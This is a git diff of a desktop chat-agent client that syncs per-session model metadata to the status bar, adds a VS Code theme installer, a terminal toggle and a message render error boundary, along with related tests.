+ setCurrentModel('')
+ setCurrentProvider('')
+ setCurrentReasoningEffort('')
+ setCurrentServiceTier('')
+ setCurrentFastMode(false)
})
afterEach(() => {
cleanup()
vi.restoreAllMocks()
setTurnStartedAt(null)
+ setCurrentModel('')
+ setCurrentProvider('')
+ setCurrentReasoningEffort('')
+ setCurrentServiceTier('')
+ setCurrentFastMode(false)
})
it("keeps a background session's running turn clock and never mirrors it to the view", () => {
@@ -115,4 +138,78 @@ describe('useSessionStateCache — per-session turn timer', () => {
})
expect($turnStartedAt.get()).toBeNull()
})
+
+ it('mirrors the focused session model metadata when switching from a cached session', () => {
+ let cache!: Cache
+ const { rerender } = render(
+ (cache = c)} selectedStoredSessionId="fg-stored" />
+ )
+
+ act(() => {
+ cache.updateSessionState(
+ 'bg-runtime',
+ state => ({
+ ...state,
+ fast: true,
+ model: 'anthropic/claude-opus-4.8',
+ provider: 'anthropic',
+ reasoningEffort: 'high',
+ serviceTier: 'priority'
+ }),
+ 'bg-stored'
+ )
+ })
+
+ // Background metadata is cached but must not bleed into the visible statusbar.
+ expect($currentModel.get()).toBe('')
+ expect($currentReasoningEffort.get()).toBe('')
+ expect($currentFastMode.get()).toBe(false)
+
+ rerender( (cache = c)} selectedStoredSessionId="bg-stored" />)
+
+ const bgState = cache.sessionStateByRuntimeIdRef.current.get('bg-runtime')
+ expect(bgState).toBeTruthy()
+
+ act(() => {
+ cache.syncSessionStateToView('bg-runtime', bgState!)
+ })
+
+ expect($currentModel.get()).toBe('anthropic/claude-opus-4.8')
+ expect($currentProvider.get()).toBe('anthropic')
+ expect($currentReasoningEffort.get()).toBe('high')
+ expect($currentServiceTier.get()).toBe('priority')
+ expect($currentFastMode.get()).toBe(true)
+ })
+
+ it('clears stale model metadata when the newly focused session has no cached value', () => {
+ setCurrentModel('previous-model')
+ setCurrentProvider('previous-provider')
+ setCurrentReasoningEffort('high')
+ setCurrentServiceTier('priority')
+ setCurrentFastMode(true)
+
+ let cache!: Cache
+ const { rerender } = render(
+ (cache = c)} selectedStoredSessionId="fg-stored" />
+ )
+
+ act(() => {
+ cache.updateSessionState('bg-runtime', state => ({ ...state }), 'bg-stored')
+ })
+
+ rerender( (cache = c)} selectedStoredSessionId="bg-stored" />)
+
+ const bgState = cache.sessionStateByRuntimeIdRef.current.get('bg-runtime')
+ expect(bgState).toBeTruthy()
+
+ act(() => {
+ cache.syncSessionStateToView('bg-runtime', bgState!)
+ })
+
+ expect($currentModel.get()).toBe('')
+ expect($currentProvider.get()).toBe('')
+ expect($currentReasoningEffort.get()).toBe('')
+ expect($currentServiceTier.get()).toBe('')
+ expect($currentFastMode.get()).toBe(false)
+ })
})
diff --git a/apps/desktop/src/app/session/hooks/use-session-state-cache.ts b/apps/desktop/src/app/session/hooks/use-session-state-cache.ts
index bc5d8f2bb322..a08eb1f16c9d 100644
--- a/apps/desktop/src/app/session/hooks/use-session-state-cache.ts
+++ b/apps/desktop/src/app/session/hooks/use-session-state-cache.ts
@@ -5,7 +5,21 @@ import type { ChatMessage } from '@/lib/chat-messages'
import { preserveLocalAssistantErrors } from '@/lib/chat-messages'
import { createClientSessionState } from '@/lib/chat-runtime'
import { setMutableRef } from '@/lib/mutable-ref'
-import { $busy, $messages, noteSessionActivity, setSessionAttention, setSessionWorking, setTurnStartedAt } from '@/store/session'
+import {
+ $busy,
+ $messages,
+ noteSessionActivity,
+ setCurrentFastMode,
+ setCurrentModel,
+ setCurrentPersonality,
+ setCurrentProvider,
+ setCurrentReasoningEffort,
+ setCurrentServiceTier,
+ setSessionAttention,
+ setSessionWorking,
+ setTurnStartedAt,
+ setYoloActive
+} from '@/store/session'
import type { ClientSessionState } from '../../types'
@@ -40,6 +54,16 @@ interface SessionStateCacheOptions {
setMessages: (messages: ChatMessage[]) => void
}
+function syncRuntimeMetadataToView(state: ClientSessionState) {
+ setCurrentModel(state.model ?? '')
+ setCurrentProvider(state.provider ?? '')
+ setCurrentReasoningEffort(state.reasoningEffort ?? '')
+ setCurrentServiceTier(state.serviceTier ?? '')
+ setCurrentFastMode(state.fast ?? false)
+ setYoloActive(state.yolo ?? false)
+ setCurrentPersonality(state.personality ?? '')
+}
+
export function useSessionStateCache({
activeSessionId,
busyRef,
@@ -124,6 +148,7 @@ export function useSessionStateCache({
setMessages(nextMessages)
}
+ syncRuntimeMetadataToView(pending.state)
setBusy(pending.state.busy)
setMutableRef(busyRef, pending.state.busy)
setAwaitingResponse(pending.state.awaitingResponse)
@@ -148,8 +173,32 @@ export function useSessionStateCache({
return
}
+ syncRuntimeMetadataToView(state)
pendingViewStateRef.current = { sessionId, state }
+ // Terminal / attention transitions (turn finished, error, or the agent is
+ // now waiting on the user) MUST reach the view immediately. Electron
+ // throttles `requestAnimationFrame` to ~0 while the window is
+ // backgrounded, occluded, or unfocused, so an RAF-deferred flush can be
+ // stranded in `pendingViewStateRef` indefinitely — that's the "new chat
+ // stuck on Thinking until I refocus / F5" bug. Flush these synchronously
+ // (cancelling any in-flight RAF, since we're about to publish the latest
+ // state anyway). The plain busy heartbeat stays RAF-batched: that
+ // coalescing exists only to keep periodic `session.info` updates from
+ // churning `$messages` and jerking the scroll position while reading.
+ const isCriticalTransition = !state.busy || state.needsInput
+
+ if (isCriticalTransition) {
+ if (viewSyncRafRef.current !== null && typeof window !== 'undefined') {
+ window.cancelAnimationFrame(viewSyncRafRef.current)
+ viewSyncRafRef.current = null
+ }
+
+ flushPendingViewState()
+
+ return
+ }
+
if (viewSyncRafRef.current !== null) {
return
}
diff --git a/apps/desktop/src/app/settings/appearance-settings.tsx b/apps/desktop/src/app/settings/appearance-settings.tsx
index ae145c8c6120..c4cb31c0c01b 100644
--- a/apps/desktop/src/app/settings/appearance-settings.tsx
+++ b/apps/desktop/src/app/settings/appearance-settings.tsx
@@ -1,21 +1,23 @@
import { useStore } from '@nanostores/react'
+import { useState } from 'react'
import { LanguageSwitcher } from '@/components/language-switcher'
import { SegmentedControl } from '@/components/ui/segmented-control'
import { useI18n } from '@/i18n'
import { triggerHaptic } from '@/lib/haptics'
-import { Check, Palette } from '@/lib/icons'
+import { Check, Download, Loader2, Palette, Trash2 } from '@/lib/icons'
import { cn } from '@/lib/utils'
import { $activeGatewayProfile, $profiles, normalizeProfileKey } from '@/store/profile'
import { $toolViewMode, setToolViewMode } from '@/store/tool-view'
import { useTheme } from '@/themes/context'
-import { BUILTIN_THEMES } from '@/themes/presets'
+import { installVscodeThemeFromMarketplace } from '@/themes/install'
+import { isUserTheme, removeUserTheme, resolveTheme } from '@/themes/user-themes'
import { MODE_OPTIONS } from './constants'
import { ListRow, SectionHeading, SettingsContent } from './primitives'
function ThemePreview({ name }: { name: string }) {
- const t = BUILTIN_THEMES[name]
+ const t = resolveTheme(name)
if (!t) {
return null
@@ -54,6 +56,81 @@ function ThemePreview({ name }: { name: string }) {
)
}
+function VscodeThemeInstaller() {
+ const { t } = useI18n()
+ const { setTheme } = useTheme()
+ const a = t.settings.appearance
+ const [id, setId] = useState('')
+ const [busy, setBusy] = useState(false)
+ const [status, setStatus] = useState<{ kind: 'error' | 'success'; text: string } | null>(null)
+
+ const install = async () => {
+ const trimmed = id.trim()
+
+ if (!trimmed || busy) {
+ return
+ }
+
+ setBusy(true)
+ setStatus(null)
+
+ try {
+ const theme = await installVscodeThemeFromMarketplace(trimmed)
+
+ triggerHaptic('crisp')
+ setTheme(theme.name)
+ setStatus({ kind: 'success', text: a.installed(theme.label) })
+ setId('')
+ } catch (error) {
+ setStatus({ kind: 'error', text: error instanceof Error ? error.message : a.installError })
+ } finally {
+ setBusy(false)
+ }
+ }
+
+ return (
+
+
+ {
+ setId(event.target.value)
+ setStatus(null)
+ }}
+ onKeyDown={event => {
+ if (event.key === 'Enter') {
+ void install()
+ }
+ }}
+ placeholder={a.installPlaceholder}
+ spellCheck={false}
+ value={id}
+ />
+ void install()}
+ type="button"
+ >
+ {busy ? : }
+ {busy ? a.installing : a.installButton}
+
+
+ {status && (
+
+ {status.text}
+
+ )}
+
+ )
+}
+
export function AppearanceSettings() {
const { t, isSavingLocale } = useI18n()
const { themeName, mode, availableThemes, setTheme, setMode } = useTheme()
@@ -112,40 +189,62 @@ export function AppearanceSettings() {
{availableThemes.map(theme => {
const active = themeName === theme.name
+ const removable = isUserTheme(theme.name)
return (
-
{
- triggerHaptic('crisp')
- setTheme(theme.name)
- }}
- type="button"
- >
-
-
-
-
- {theme.label}
-
-
- {theme.description}
+
+
{
+ triggerHaptic('crisp')
+ setTheme(theme.name)
+ }}
+ type="button"
+ >
+
+
+
+
+ {theme.label}
+
+
+ {theme.description}
+
+ {active && (
+
+
+
+ )}
- {active && (
-
-
-
- )}
-
-
+
+ {removable && (
+
{
+ triggerHaptic('crisp')
+ removeUserTheme(theme.name)
+
+ // Re-normalize off the now-missing skin → default.
+ if (active) {
+ setTheme(theme.name)
+ }
+ }}
+ title={a.removeTheme}
+ type="button"
+ >
+
+
+ )}
+
)
})}
+
{showProfileNote && (
{a.themeProfileNote(activeProfileName)}
diff --git a/apps/desktop/src/app/settings/model-settings.tsx b/apps/desktop/src/app/settings/model-settings.tsx
index 4a7ffcfd94f0..c55fa6b47731 100644
--- a/apps/desktop/src/app/settings/model-settings.tsx
+++ b/apps/desktop/src/app/settings/model-settings.tsx
@@ -15,7 +15,7 @@ import type { AuxiliaryModelsResponse, ModelOptionProvider, StaleAuxAssignment }
import { useI18n } from '@/i18n'
import { AlertTriangle, Cpu, Loader2 } from '@/lib/icons'
import { cn } from '@/lib/utils'
-import { startManualProviderOAuth } from '@/store/onboarding'
+import { startManualLocalEndpoint, startManualProviderOAuth } from '@/store/onboarding'
import { CONTROL_TEXT } from './constants'
import { ListRow, LoadingState, Pill, SectionHeading } from './primitives'
@@ -224,10 +224,23 @@ export function ModelSettings({ onMainModelChanged }: ModelSettingsProps) {
}, [apiKeyDraft, selectedProviderRow])
// OAuth / external providers can't be activated with a pasted key — hand off
- // to the shared onboarding flow scoped to this provider's real sign-in.
+ // to the shared onboarding flow scoped to this provider's real sign-in. The
+ // custom / local endpoint is NOT an OAuth provider, so it gets the dedicated
+ // local-endpoint form (URL + optional API key) instead of being dead-ended
+ // on the OAuth picker (the original "booted back to the first screen" loop).
const startProviderSetup = useCallback(() => {
- if (selectedProviderRow?.slug) {
- startManualProviderOAuth(selectedProviderRow.slug)
+ const slug = selectedProviderRow?.slug
+
+ if (!slug) {
+ return
+ }
+
+ const lower = slug.toLowerCase()
+
+ if (lower === 'custom' || lower === 'local' || lower.startsWith('custom:')) {
+ startManualLocalEndpoint()
+ } else {
+ startManualProviderOAuth(slug)
}
}, [selectedProviderRow])
diff --git a/apps/desktop/src/app/settings/sessions-settings.tsx b/apps/desktop/src/app/settings/sessions-settings.tsx
index e37c9d7896a5..f644ded929ce 100644
--- a/apps/desktop/src/app/settings/sessions-settings.tsx
+++ b/apps/desktop/src/app/settings/sessions-settings.tsx
@@ -2,13 +2,13 @@ import { useCallback, useEffect, useState } from 'react'
import { Button } from '@/components/ui/button'
import { Tip } from '@/components/ui/tooltip'
-import { deleteSession, listSessions, setSessionArchived } from '@/hermes'
+import { deleteSession, listAllProfileSessions, setSessionArchived } from '@/hermes'
import { useI18n } from '@/i18n'
import { sessionTitle } from '@/lib/chat-runtime'
import { triggerHaptic } from '@/lib/haptics'
import { Archive, ArchiveOff, FolderOpen, Loader2, Trash2 } from '@/lib/icons'
import { notify, notifyError } from '@/store/notifications'
-import { setSessions } from '@/store/session'
+import { applyConfiguredDefaultProjectDir, ensureDefaultWorkspaceCwd, setSessions } from '@/store/session'
import type { SessionInfo } from '@/types/hermes'
import { EmptyState, ListRow, LoadingState, SectionHeading, SettingsContent } from './primitives'
@@ -43,14 +43,14 @@ export function SessionsSettings() {
setLoading(true)
try {
- const result = await listSessions(ARCHIVED_FETCH_LIMIT, 0, 'only')
+ const result = await listAllProfileSessions(ARCHIVED_FETCH_LIMIT, 0, 'only')
setLocalSessions(result.sessions)
} catch (err) {
notifyError(err, s.failedLoad)
} finally {
setLoading(false)
}
- }, [])
+ }, [s.failedLoad])
useEffect(() => {
void load()
@@ -196,6 +196,7 @@ function DefaultProjectDirSetting() {
setDir(result.dir)
setFallback(result.defaultLabel)
+ applyConfiguredDefaultProjectDir(result.dir)
})
return () => {
@@ -221,7 +222,8 @@ function DefaultProjectDirSetting() {
const result = await settings.setDefaultProjectDir(picked.dir)
setDir(result.dir)
- notify({ durationMs: 2_000, kind: 'success', message: s.defaultDirUpdated })
+ applyConfiguredDefaultProjectDir(result.dir)
+ notify({ durationMs: 4_000, kind: 'success', message: s.defaultDirUpdated })
} catch (err) {
notifyError(err, s.updateDirFailed)
} finally {
@@ -241,6 +243,8 @@ function DefaultProjectDirSetting() {
try {
await settings.setDefaultProjectDir(null)
setDir(null)
+ applyConfiguredDefaultProjectDir(null)
+ await ensureDefaultWorkspaceCwd()
} catch (err) {
notifyError(err, s.clearDirFailed)
} finally {
@@ -268,7 +272,7 @@ function DefaultProjectDirSetting() {
)}
}
- description={dir || s.defaultsTo(fallback || '~/hermes-projects')}
+ description={dir || s.defaultsTo(fallback || '~')}
title={dir ? dir : s.notSet}
/>
diff --git a/apps/desktop/src/app/shell/app-shell.tsx b/apps/desktop/src/app/shell/app-shell.tsx
index 1c60e6411cf9..8e5487344961 100644
--- a/apps/desktop/src/app/shell/app-shell.tsx
+++ b/apps/desktop/src/app/shell/app-shell.tsx
@@ -16,6 +16,7 @@ import {
} from '@/store/layout'
import { $paneWidthOverride } from '@/store/panes'
import { $connection } from '@/store/session'
+import { isSecondaryWindow } from '@/store/windows'
import { SIDEBAR_COLLAPSE_MEDIA_QUERY } from '../layout-constants'
@@ -28,9 +29,19 @@ interface AppShellProps {
children: ReactNode
leftStatusbarItems?: readonly StatusbarItem[]
leftTitlebarTools?: readonly TitlebarTool[]
+ // Fixed-position overlays that must share 's stacking context so pane
+ // resize handles (z-20) paint above them. The persistent terminal lives here:
+ // hoisting it to the root `overlays` layer (sibling of , z above z-3)
+ // would cover every pane's drag handle.
+ mainOverlays?: ReactNode
onOpenSettings: () => void
overlays?: ReactNode
+ // Rails that sit at the window's left edge in the flipped layout but never
+ // force-collapse to hover-reveal overlays — so they cover the top-left traffic
+ // lights (and zero the titlebar inset) even below the collapse breakpoint.
+ previewPaneOpen?: boolean
statusbarItems?: readonly StatusbarItem[]
+ terminalPaneOpen?: boolean
titlebarTools?: readonly TitlebarTool[]
}
@@ -53,9 +64,12 @@ export function AppShell({
children,
leftStatusbarItems,
leftTitlebarTools,
+ mainOverlays,
onOpenSettings,
overlays,
+ previewPaneOpen = false,
statusbarItems,
+ terminalPaneOpen = false,
titlebarTools
}: AppShellProps) {
const sidebarOpen = useStore($sidebarOpen)
@@ -75,10 +89,17 @@ export function AppShell({
// The inset clears the top-left titlebar buttons when nothing covers the
// window's left edge. Default layout: the sessions sidebar sits there.
- // Flipped layout: the file browser does instead. Below the collapse
- // breakpoint both rails are force-collapsed (hover-reveal overlay), so the
- // edge is uncovered regardless of their stored open state.
- const leftEdgePaneOpen = !narrowViewport && (panesFlipped ? fileBrowserOpen : sidebarOpen)
+ // Flipped layout: the file browser does instead. Both force-collapse to a
+ // hover-reveal overlay (0px track) below the collapse breakpoint, so the edge
+ // is uncovered there regardless of their stored open state. A standalone
+ // session window renders no sidebar at all, so its edge is always uncovered.
+ const collapsibleLeftPaneOpen = panesFlipped ? fileBrowserOpen : sidebarOpen
+ // The terminal + preview rails never force-collapse, so when they're the
+ // leftmost open pane (flipped layout) they cover the edge even when narrow.
+ const persistentLeftPaneOpen = panesFlipped && (terminalPaneOpen || previewPaneOpen)
+
+ const leftEdgePaneOpen =
+ !isSecondaryWindow() && ((!narrowViewport && collapsibleLeftPaneOpen) || persistentLeftPaneOpen)
const titlebarContentInset = leftEdgePaneOpen
? 0
@@ -157,6 +178,11 @@ export function AppShell({
{children}
+ {/* Fixed overlays scoped to main's stacking context (terminal). Rendered
+ after PaneShell so it paints over pane content, but its z stays under
+ the panes' z-20 resize handles, keeping every pane resizable. */}
+ {mainOverlays}
+
diff --git a/apps/desktop/src/app/shell/hooks/use-statusbar-items.tsx b/apps/desktop/src/app/shell/hooks/use-statusbar-items.tsx
index c471d0f517a9..53ce2dcc1502 100644
--- a/apps/desktop/src/app/shell/hooks/use-statusbar-items.tsx
+++ b/apps/desktop/src/app/shell/hooks/use-statusbar-items.tsx
@@ -3,6 +3,7 @@ import type { ReactNode } from 'react'
import { useCallback, useMemo } from 'react'
import type { CommandCenterSection } from '@/app/command-center'
+import { $terminalTakeover, setTerminalTakeover } from '@/app/right-sidebar/store'
import { GatewayMenuPanel } from '@/app/shell/gateway-menu-panel'
import { useI18n } from '@/i18n'
import {
@@ -14,6 +15,7 @@ import {
Hash,
Loader2,
Sparkles,
+ Terminal,
Zap,
ZapFilled
} from '@/lib/icons'
@@ -56,6 +58,7 @@ import type { StatusbarItem, StatusbarSelectModifiers } from '../statusbar-contr
interface StatusbarItemsOptions {
agentsOpen: boolean
+ chatOpen: boolean
commandCenterOpen: boolean
extraLeftItems: readonly StatusbarItem[]
extraRightItems: readonly StatusbarItem[]
@@ -73,6 +76,7 @@ interface StatusbarItemsOptions {
export function useStatusbarItems({
agentsOpen,
+ chatOpen,
commandCenterOpen,
extraLeftItems,
extraRightItems,
@@ -90,6 +94,7 @@ export function useStatusbarItems({
const { t } = useI18n()
const copy = t.shell.statusbar
const activeSessionId = useStore($activeSessionId)
+ const terminalTakeover = useStore($terminalTakeover)
const yoloActive = useStore($yoloActive)
const busy = useStore($busy)
const currentFastMode = useStore($currentFastMode)
@@ -442,11 +447,21 @@ export function useStatusbarItems({
variant: 'action' as const
})
},
+ {
+ className: `w-7 justify-center px-0${terminalTakeover ? ' bg-accent/55 text-foreground' : ''}`,
+ hidden: !chatOpen,
+ icon: ,
+ id: 'terminal',
+ onSelect: () => setTerminalTakeover(!$terminalTakeover.get()),
+ title: terminalTakeover ? copy.hideTerminal : copy.showTerminal,
+ variant: 'action'
+ },
clientVersionItem,
...(backendVersionItem ? [backendVersionItem] : [])
],
[
busy,
+ chatOpen,
contextBar,
contextUsage,
copy,
@@ -457,6 +472,7 @@ export function useStatusbarItems({
modelMenuContent,
sessionStartedAt,
showYoloToggle,
+ terminalTakeover,
toggleYolo,
turnStartedAt,
clientVersionItem,
diff --git a/apps/desktop/src/app/shell/model-menu-panel.tsx b/apps/desktop/src/app/shell/model-menu-panel.tsx
index 538d2acf522e..4fe10abe72fc 100644
--- a/apps/desktop/src/app/shell/model-menu-panel.tsx
+++ b/apps/desktop/src/app/shell/model-menu-panel.tsx
@@ -162,8 +162,9 @@ export function ModelMenuPanel({ gateway, onSelectModel, requestGateway }: Model
currentFastMode
)
- // Grayed text: active row shows live state (Fast + effort);
- // others show a fast-capability hint.
+ // Grayed text is live session state only. Do not label inactive
+ // rows as "Fast" just because they have a fast-capable sibling:
+ // that makes an off Fast toggle look like it is already on.
const meta = isCurrent
? [
fastControl.kind !== 'none' && fastControl.on ? copy.fast : null,
@@ -171,9 +172,7 @@ export function ModelMenuPanel({ gateway, onSelectModel, requestGateway }: Model
]
.filter(Boolean)
.join(' ')
- : caps?.fast || family.fastId
- ? copy.fast
- : ''
+ : ''
// Every row is a hover-Edit submenu trigger. Activating it
// (pointer or keyboard) switches to the family's base model;
diff --git a/apps/desktop/src/app/types.ts b/apps/desktop/src/app/types.ts
index 14f307eef93a..5082b70406db 100644
--- a/apps/desktop/src/app/types.ts
+++ b/apps/desktop/src/app/types.ts
@@ -61,6 +61,26 @@ export interface SessionTitleResponse {
session_key?: string
}
+export interface HandoffRequestResponse {
+ queued?: boolean
+ session_key?: string
+ platform?: string
+ // Human-readable home channel name for the destination platform.
+ home_name?: string
+}
+
+export interface HandoffStateResponse {
+ // '' | 'pending' | 'running' | 'completed' | 'failed'
+ state?: string
+ platform?: string
+ error?: string
+}
+
+export interface HandoffFailResponse {
+ failed?: boolean
+ state?: string
+}
+
export interface ExecCommandDispatchResponse {
type: 'exec' | 'plugin'
output?: string
@@ -103,6 +123,13 @@ export interface ClientSessionState {
messages: ChatMessage[]
branch: string
cwd: string
+ model: string
+ provider: string
+ reasoningEffort: string
+ serviceTier: string
+ fast: boolean
+ yolo: boolean
+ personality: string
busy: boolean
awaitingResponse: boolean
streamId: string | null
diff --git a/apps/desktop/src/components/assistant-ui/directive-text.tsx b/apps/desktop/src/components/assistant-ui/directive-text.tsx
index 79f772d450fe..b870913b012f 100644
--- a/apps/desktop/src/components/assistant-ui/directive-text.tsx
+++ b/apps/desktop/src/components/assistant-ui/directive-text.tsx
@@ -63,7 +63,7 @@ export function directiveIconSvg(type: string) {
return `${inner} `
}
-export function directiveIconElement(type: string) {
+function iconElementFromPaths(paths: string[]) {
const svg = document.createElementNS('http://www.w3.org/2000/svg', 'svg')
svg.setAttribute('class', 'size-3 shrink-0 opacity-80')
svg.setAttribute('fill', 'none')
@@ -74,7 +74,7 @@ export function directiveIconElement(type: string) {
svg.setAttribute('viewBox', '0 0 24 24')
svg.setAttribute('xmlns', 'http://www.w3.org/2000/svg')
- for (const d of iconPathsFor(type)) {
+ for (const d of paths) {
const path = document.createElementNS('http://www.w3.org/2000/svg', 'path')
path.setAttribute('d', d)
svg.append(path)
@@ -83,6 +83,46 @@ export function directiveIconElement(type: string) {
return svg
}
+export function directiveIconElement(type: string) {
+ return iconElementFromPaths(iconPathsFor(type))
+}
+
+/** Per-type slash-command pill styling. The composer inserts these chips when a
+ * command is picked; the kind drives a theme-aware accent so commands, skills,
+ * and themes read distinctly (Cursor-style). */
+export type SlashChipKind = 'command' | 'skill' | 'theme'
+
+const SLASH_ICON_PATHS: Record = {
+ command: ['M5 7l5 5l-5 5', 'M12 19l7 0'],
+ skill: ['M13 3l0 7l6 0l-8 11l0 -7l-6 0l8 -11'],
+ theme: [
+ 'M3 21v-4a4 4 0 1 1 4 4h-4',
+ 'M21 3a16 16 0 0 0 -12.8 10.2',
+ 'M21 3a16 16 0 0 1 -10.2 12.8',
+ 'M10.6 9a9 9 0 0 1 4.4 4.4'
+ ]
+}
+
+const SLASH_CHIP_VARIANT: Record = {
+ command:
+ 'bg-[color-mix(in_srgb,var(--ui-accent)_14%,transparent)] text-[color-mix(in_srgb,var(--ui-accent)_82%,var(--foreground))]',
+ skill:
+ 'bg-[color-mix(in_srgb,var(--ui-warm)_18%,transparent)] text-[color-mix(in_srgb,var(--ui-warm)_82%,var(--foreground))]',
+ theme:
+ 'bg-[color-mix(in_srgb,var(--ui-accent-secondary)_16%,transparent)] text-[color-mix(in_srgb,var(--ui-accent-secondary)_82%,var(--foreground))]'
+}
+
+export const SLASH_CHIP_BASE_CLASS =
+ 'mx-0.5 inline-flex max-w-64 items-center gap-1 rounded px-1.5 py-0.5 align-middle text-[0.86em] font-medium leading-none'
+
+export function slashChipClass(kind: SlashChipKind): string {
+ return `${SLASH_CHIP_BASE_CLASS} ${SLASH_CHIP_VARIANT[kind]}`
+}
+
+export function slashIconElement(kind: SlashChipKind) {
+ return iconElementFromPaths(SLASH_ICON_PATHS[kind])
+}
+
const DirectiveIcon: FC<{ type: string }> = ({ type }) => (
{
return (
-
-
-
-
-
+
+
+
)
}
diff --git a/apps/desktop/src/components/assistant-ui/message-render-boundary.test.tsx b/apps/desktop/src/components/assistant-ui/message-render-boundary.test.tsx
new file mode 100644
index 000000000000..934f3babd1c0
--- /dev/null
+++ b/apps/desktop/src/components/assistant-ui/message-render-boundary.test.tsx
@@ -0,0 +1,80 @@
+import { cleanup, render, screen } from '@testing-library/react'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+import { MessageRenderBoundary } from './message-render-boundary'
+
+afterEach(cleanup)
+
+function Boom({ error }: { error: Error | null }): null {
+ if (error) {
+ throw error
+ }
+
+ return null
+}
+
+const lookupError = new Error('tapClientLookup: Index 2 out of bounds (length: 2)')
+
+describe('MessageRenderBoundary', () => {
+ it('renders children when nothing throws', () => {
+ render(
+
+ content
+
+ )
+
+ expect(screen.getByText('content')).toBeTruthy()
+ })
+
+ it('swallows the transient tapClientLookup out-of-bounds store race', () => {
+ const spy = vi.spyOn(console, 'error').mockImplementation(() => undefined)
+
+ const { container } = render(
+
+
+
+ )
+
+ expect(container.innerHTML).toBe('')
+ spy.mockRestore()
+ })
+
+ it('recovers on the next consistent snapshot when resetKey changes', () => {
+ const spy = vi.spyOn(console, 'error').mockImplementation(() => undefined)
+
+ const { rerender } = render(
+
+
+
+ )
+
+ rerender(
+
+
+
+ )
+
+ rerender(
+
+ recovered
+
+ )
+
+ expect(screen.getByText('recovered')).toBeTruthy()
+ spy.mockRestore()
+ })
+
+ it('re-throws unrelated errors so real bugs still surface', () => {
+ const spy = vi.spyOn(console, 'error').mockImplementation(() => undefined)
+
+ expect(() =>
+ render(
+
+
+
+ )
+ ).toThrow('genuine render bug')
+
+ spy.mockRestore()
+ })
+})
diff --git a/apps/desktop/src/components/assistant-ui/message-render-boundary.tsx b/apps/desktop/src/components/assistant-ui/message-render-boundary.tsx
new file mode 100644
index 000000000000..990f8c6072e4
--- /dev/null
+++ b/apps/desktop/src/components/assistant-ui/message-render-boundary.tsx
@@ -0,0 +1,48 @@
+import { Component, type ReactNode } from 'react'
+
+// `@assistant-ui/store`'s index-keyed child-scope lookup (`tapClientLookup`)
+// throws — rather than returning undefined — when a subscriber reads an index
+// that the message/parts list no longer has. This races during high-frequency
+// store replacement (session switch mid-stream, gateway reconnect replay): a
+// subscriber from the previous, longer list is still in React's notification
+// queue and reads one slot past the new, shorter array before it can unmount.
+// The throw is transient and self-heals on the next consistent snapshot, but
+// without a local boundary it unwinds to the root and blanks the whole app.
+// Upstream-tracked: assistant-ui/assistant-ui#4051, #3652.
+const isTransientLookupError = (error: unknown): boolean =>
+ error instanceof Error && /tapClient(Lookup|Resource).*out of bounds/.test(error.message)
+
+interface Props {
+ // Changes whenever the message list mutates; remounting clears the caught
+ // error so the next consistent render recovers silently.
+ resetKey: string
+ children: ReactNode
+}
+
+export class MessageRenderBoundary extends Component {
+ state: { error: Error | null } = { error: null }
+
+ static getDerivedStateFromError(error: Error) {
+ return { error }
+ }
+
+ componentDidUpdate(prev: Props) {
+ if (this.state.error && prev.resetKey !== this.props.resetKey) {
+ this.setState({ error: null })
+ }
+ }
+
+ render() {
+ if (this.state.error) {
+ // Only swallow the transient store race; re-throw anything else so real
+ // bugs still reach the root error boundary.
+ if (!isTransientLookupError(this.state.error)) {
+ throw this.state.error
+ }
+
+ return null
+ }
+
+ return this.props.children
+ }
+}
diff --git a/apps/desktop/src/components/assistant-ui/streaming.test.tsx b/apps/desktop/src/components/assistant-ui/streaming.test.tsx
index c15b4696a217..08dba733ae1e 100644
--- a/apps/desktop/src/components/assistant-ui/streaming.test.tsx
+++ b/apps/desktop/src/components/assistant-ui/streaming.test.tsx
@@ -164,6 +164,27 @@ function assistantMultiReasoningMessage(texts: string[]): ThreadMessage {
} as ThreadMessage
}
+function assistantSeparatedReasoningMessage(): ThreadMessage {
+ return {
+ id: 'assistant-reasoning-separated-1',
+ role: 'assistant',
+ content: [
+ { type: 'reasoning', text: ' Complete first thought.', status: { type: 'complete' } },
+ { type: 'text', text: 'Interim answer.' },
+ { type: 'reasoning', text: ' Streaming second thought.', status: { type: 'running' } }
+ ],
+ status: { type: 'running' },
+ createdAt,
+ metadata: {
+ unstable_state: null,
+ unstable_annotations: [],
+ unstable_data: [],
+ steps: [],
+ custom: {}
+ }
+ } as ThreadMessage
+}
+
function assistantTodoMessage(
todos: Array<{ content: string; id: string; status: 'cancelled' | 'completed' | 'in_progress' | 'pending' }>,
running = true
@@ -685,6 +706,18 @@ describe('assistant-ui streaming renderer', () => {
expect(reasoningParts[1]?.textContent).toBe('Second thought.')
})
+ it('does not reopen an earlier completed thinking group when a later group is running', () => {
+ const { container } = render( )
+
+ const disclosures = container.querySelectorAll('[data-slot="aui_thinking-disclosure"]')
+ expect(disclosures.length).toBe(2)
+
+ expect(disclosures[0].querySelector('button')?.getAttribute('aria-expanded')).toBe('false')
+ expect(disclosures[1].querySelector('button')?.getAttribute('aria-expanded')).toBe('true')
+ expect(container.textContent).not.toContain('Complete first thought.')
+ expect(container.textContent).toContain('Interim answer.')
+ })
+
it('renders live todo rows during a running turn', () => {
const { container } = render(
= ({
key={virtualItem.key}
ref={virtualizer.measureElement}
>
- {group.kind === 'turn' ? (
-
- {group.indices.map(index => (
-
- ))}
-
- ) : (
-
- )}
+
+ {group.kind === 'turn' ? (
+
+ {group.indices.map(index => (
+
+ ))}
+
+ ) : (
+
+ )}
+
)
})}
diff --git a/apps/desktop/src/components/assistant-ui/thread.tsx b/apps/desktop/src/components/assistant-ui/thread.tsx
index ca7533c4c04d..375ba5d8c48e 100644
--- a/apps/desktop/src/components/assistant-ui/thread.tsx
+++ b/apps/desktop/src/components/assistant-ui/thread.tsx
@@ -37,7 +37,12 @@ import {
} from '@/app/chat/composer/focus'
import { useAtCompletions } from '@/app/chat/composer/hooks/use-at-completions'
import { useSlashCompletions } from '@/app/chat/composer/hooks/use-slash-completions'
-import { dragHasAttachments, droppedFileInlineRef, insertInlineRefsIntoEditor } from '@/app/chat/composer/inline-refs'
+import {
+ dragHasAttachments,
+ droppedFileInlineRefs,
+ type InlineRefInput,
+ insertInlineRefsIntoEditor
+} from '@/app/chat/composer/inline-refs'
import {
composerPlainText,
placeCaretEnd,
@@ -47,7 +52,8 @@ import {
} from '@/app/chat/composer/rich-editor'
import { detectTrigger, textBeforeCaret, type TriggerState } from '@/app/chat/composer/text-utils'
import { ComposerTriggerPopover } from '@/app/chat/composer/trigger-popover'
